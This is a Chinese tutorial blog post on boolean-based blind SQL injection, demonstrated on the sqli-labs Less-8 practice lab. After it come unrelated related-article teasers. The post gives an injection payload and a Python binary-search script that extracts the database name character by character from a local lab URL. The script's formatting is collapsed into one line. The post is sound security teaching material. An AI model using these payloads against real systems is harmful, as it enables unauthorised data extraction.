SQL注入--布尔盲注--理论

ops/2024/11/25 7:58:56/

布尔盲注的原理

在SQL注入时,我们查询的数据不会直接回显在界面上,且界面对正确的查询和错误的查询有不同的回显,我们就可以使用布尔盲注。

比如sqli-labs的第八题,当我们输入的查询语句是正确的时候,回显就是you are in.
当查询语句错误的时候,就没有这样的回显。
在这里插入图片描述
在这里插入图片描述
我们可以利用这样的特性来判断我们的查询是否正确。

相关的函数:

substr(string,start,length)
第一个参数是要截取的字符串
第二个参数是截取开始的位置
第三个参数是截取的长度

例如:
substr(“shuai”,3,1) 截取的结果是u
substr(“shuai”,2,3) 截取的结果是hua

ascii(char)
返回字符的ASCII码值

基本注入语句:

id=1' and ascii(substr(select database(),n,1))>m

n是要截取的字符的位置,而m是要比较的ascii码值。

二分法布尔盲注脚本:

import requestsurl = "http://127.0.0.1/sqli-labs/Less-8/"def inject_database(url):name = ''for i in range(1, 100):low = 32high = 128mid = (low + high) // 2while low < high:payload = "1' and ascii(substr((select database()),%d,1)) > %d-- " % (i, mid)params = {"id": payload}r = requests.get(url, params=params)if "You are in..........." in r.text:low = mid + 1else:high = midmid = (low + high) // 2if mid == 32:breakname = name + chr(mid)print(name)inject_database(url)

实例应用

sqli-labs第八题为例:
在这里插入图片描述


http://www.ppmy.cn/ops/136514.html

相关文章

ftdi_sio应用学习笔记 5 - SPI

目录 1. 查找设备 2. 打开设备 3. 验证 3.1 遍历设备 3.2 打开关闭设备 3.3 读flash id SPI的SCK/MOSI/MISO分别对应&#xff08;A/B)D0/D1/D2&#xff0c;其他IO作为CS。和I2C一样&#xff0c;最大支持2路MPSSE通道&#xff0c;一路MPSSE最大13路SPI。 #define FTDI_DE…

Perforce《2024游戏技术现状报告》Part3:生成式AI、版本控制、CI/CD等游戏技术的未来趋势与应用

游戏开发者一直处于创新前沿。他们的实践、工具和技术受到各行各业的广泛关注&#xff0c;正在改变着组织进行数字创作的方式。 近期&#xff0c;Perforce发布了《2024游戏技术现状报告》&#xff0c;通过收集来自游戏、媒体与娱乐、汽车和制造业等高增长行业的从业者、管理人…

二.LoadBalancer负载均衡服务调用(1)

1.spring-cloud-loadbalancer概述 (1)官网 2.客户端负载VS服务器端负载 loadbalancer本地负载均衡客户端VSNginx服务端负载均衡区别 Nginx是服务器端负载均衡,客户端所有请求都会交给nignx,然后由nginx实现转发请求,即负载均衡是由服务端实现的 loadbalancer本地负载均衡,在…

使用var/let/const的选择

对于var的使用 1、需要明白一个事实&#xff0c;var所表现出来的特殊性:比如作用域提升、window全局对象、没有块级作用域等都是一些历史遗留问题&#xff1b; 2、其实是JavaScript在设计之初的一种语言缺陷&#xff1b; 3、在实际工作中&#xff0c;我们可以使用最新的规范来…

HashMap的寻址算法(源码分析)

建议先看完我这篇文章HashMap底层原理-CSDN博客 hashmap插入值的时候&#xff0c;是如何找到数组索引位置的呢&#xff1f; 例如下图左边四个连续红点&#xff0c;是如何在插入的时候定位到了数组下标为3的位置&#xff1f; 来看看put方法的源码&#xff0c;里面有个hash&…

洛谷 B2038:奇偶 ASCII 值判断

【题目来源】https://www.luogu.com.cn/problem/B2038http://shnoip.openjudge.cn/level1/39/【题目描述】 任意输入一个字符&#xff0c;判断其 ASCII 是否是奇数&#xff0c;若是&#xff0c;输出 YES&#xff0c;否则&#xff0c;输出 NO。 例如&#xff0c;字符 A 的 ASCII…

MQ重复消费与消息顺序

如何避免消息重复消费 RocketMQ&#xff1a;给每个消息分配了一个MessageID。这个MessageID就可以作为消费者判断幂等的依据。这种方式不太建议&#xff0c;原因是在高并发场景下这个MessageID不保证全局唯一性。 最好由业务方创建一个与业务相关的全局唯一的ID来区分消息&am…

springboot实战(17)(“大事件“——新增文章主体逻辑)

目录 一、新增文章涉及的数据表、实体类。 &#xff08;1&#xff09;表结构。 &#xff08;2&#xff09;实体类&#xff08;Article&#xff09; 二、接口文档分析。 &#xff08;1&#xff09;请求方式与请求路径。 &#xff08;2&#xff09;请求参数。 &#xff08;3&…